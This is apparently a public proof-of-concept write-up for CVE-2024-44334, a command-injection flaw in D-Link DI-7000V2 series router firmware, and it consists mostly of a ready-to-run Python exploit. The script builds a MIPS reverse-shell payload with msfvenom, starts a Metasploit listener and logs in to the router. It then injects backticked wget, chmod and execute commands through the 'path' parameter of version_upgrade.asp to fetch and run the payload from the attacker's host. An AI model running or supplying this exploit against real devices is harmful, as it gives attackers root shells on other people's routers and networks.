POC for Command Execution Vulnerability in D-link DI7000V2 Series Routers via upgrade_filter_asp-CGI
CVE-2024-44334
D-Link | Welcome (dlink.com.cn)
-
DI_7003G-19.12.24A1
-
DI_7003GV2-24.04.18D1
-
DI_7100G+V2-24.04.18D1
-
DI_7100GV2-24.04.18D1
-
DI_7200GV2-24.04.18E1
-
DI_7300G+V2-24.04.18D1
-
DI_7400G+V2-24.04.18D1
[RCE] Authorized Remote Command Execution
A command execution vulnerability exists in multiple models of the DI-7000V2 series routers manufactured by D-Link (Shanghai) Co., Ltd. This vulnerability is due to insufficient filtering of external parameters in the CGI handling functions. An attacker can exploit this flaw by crafting specific HTTP requests, triggering the command execution vulnerability and gaining the highest privilege shell access to the firmware system.
Make Your Life Simpler:
Using DI_7003GV2-24.04.18D1 as an example, the vulnerability is found in the jhttpd
binary program within the firmware file system, specifically in the handler function sub_46FC20
for the upgrade_filter.asp
request, as shown below:
The path
parameter passed from the external input is validated for legality using the commandInjectionCheck
function. After validation, it is executed via the system
function. However, a closer inspection of the validation function reveals that it filters only a limited set of characters, allowing malicious strings to bypass the checks and achieve command execution. For detailed information, refer to the EXP and the vulnerability demonstration video.
- Metasploit Framework (Tested on Version: 6.4.9-dev)
The script depends on the Metasploit framework. When running the script, msf will start listening. Please press Enter to continue the script execution once the listening process is complete. For detailed instructions, please refer to the demonstration video.
# -*- coding: utf-8 -*-
"""
D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import logging
import argparse
import re
import time
import subprocess
import os
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
def get_current_timestamp():
return int(time.time() * 1000)
def custom_quote(value):
return value.replace(' ', '%20')
def generate_payload(lhost, lport):
command = [
'msfvenom',
'-p', 'linux/mipsle/shell/reverse_tcp',
f'lhost={lhost}',
f'lport={lport}',
'-f', 'elf',
'-o', '3'
]
logging.debug(f'Running command: {" ".join(command)}')
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
logging.info(f'Payload generated successfully.')
return True
except subprocess.CalledProcessError as e:
logging.error(f'Error generating payload: {e.stderr}')
return False
def start_http_server():
command = ['python', '-m', 'http.server', '80']
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
logging.info(f"HTTP server started with command: {' '.join(command)}")
time.sleep(2) # Give the server some time to start
return process
def login(session, host, username, password):
url = f"http://{host}/login.cgi"
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": f"http://{host}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": f"http://{host}/login.html",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin",
"Connection": "close"
}
payload = f"user={username}&password={password}&Submit=%E7%99%BB%E5%BD%95"
logging.debug(f'Sending login request to {url} with payload: {payload}')
response = session.post(url, data=payload, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
match = re.search(r"window.open\('([^']+)", response.text)
if match:
redirect_url = match.group(1)
logging.debug(f'Extracted redirect URL: {redirect_url}')
return redirect_url
else:
logging.error('Login failed: redirect URL not found in response.')
return None
else:
logging.error(f'Login request failed with status code: {response.status_code}')
return None
def send_request(session, host, referer, cmd):
url = f"http://{host}/version_upgrade.asp"
headers = {
"Accept": "application/json, text/javascript, */*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
"Referer": f"http://{host}/{referer}",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "userid=admin; gw_userid=admin,gw_passwd=73B9AFDFA9F7011E0553CF9A78DE320D",
"Connection": "close"
}
encoded_name = custom_quote(f"`{cmd}`")
params = (
f"path={encoded_name}&"
f"type=0&"
f"_{get_current_timestamp()}"
)
request_url = f"{url}?{params}"
logging.debug(f'Sending GET request to {request_url}')
response = session.get(request_url, headers=headers)
if response.status_code == 200:
logging.debug(f'Received response: {response.text}')
return response.json()
else:
logging.error(f'GET request failed with status code: {response.status_code}')
return None
def msf_listen(host, port):
cfg_file_path = 'cfg.rc'
logging.info(f'Creating Metasploit configuration file at {cfg_file_path}')
with open(cfg_file_path, 'w') as cfg_file:
cfg_file.write('use exploit/multi/handler\n')
cfg_file.write('set payload linux/mipsle/shell/reverse_tcp\n')
cfg_file.write(f'set lhost {host}\n')
cfg_file.write(f'set lport {port}\n')
cfg_file.write('run\n')
logging.info(f'Metasploit configuration written to {cfg_file_path}')
if os.name == 'posix': # Unix-like (Linux, macOS)
logging.info(f'Starting msfconsole with command: x-terminal-emulator -e msfconsole -r {cfg_file_path}')
subprocess.Popen(['x-terminal-emulator', '-e', 'msfconsole -r', cfg_file_path])
elif os.name == 'nt': # Windows
logging.info(f'Starting msfconsole with command: cmd /c start msfconsole -r {cfg_file_path}')
subprocess.Popen(['cmd', '/c', 'start', 'msfconsole', '-r', cfg_file_path])
else:
logging.error('Unsupported operating system.')
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit')
parser.add_argument('-r', '--router', metavar='router', default='192.168.0.1', help='Router IP address.')
parser.add_argument('-H', '--host', metavar='host', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
parser.add_argument('-P', '--port', metavar='Port', required=True, help='Port to listen on.')
args = parser.parse_args()
logging.info(f'Starting exploit script by {__author__} ({__email__})')
logging.info(f'Router IP: {args.router}, Host IP: {args.host}, Username: {args.username}, Password: {args.password}, Port: {args.port}')
if not generate_payload(args.host, args.port):
logging.error('Payload generation failed.')
return
msf_listen(args.host, args.port)
input("Press Enter to continue once msfconsole is in listening state...\n")
process = start_http_server()
commands = [
f'wget http://{args.host}/3',
'chmod +x ./3',
'./3',
'rm ./3'
]
redirect_url = login(session, args.router, args.username, args.password)
if redirect_url:
logging.info('Login successful. Redirect URL obtained.')
for cmd in commands:
logging.info(f'Executing command: "{cmd}"')
response = send_request(session, args.router, redirect_url, cmd)
if response:
logging.debug(f'Command "{cmd}" response: {response}')
logging.info(f'"Successfully executed command: "{cmd}"')
else:
logging.error(f'Failed to execute command: "{cmd}"')
else:
logging.error('Login failed. Unable to obtain redirect URL.')
process.kill()
logging.info('HTTP server stopped.')
for file_path in ['3', 'cfg.rc']:
if os.path.exists(file_path):
os.remove(file_path)
logging.info(f'Removed file: {file_path}')
else:
logging.warning(f'File not found: {file_path}')
if __name__ == "__main__":
main()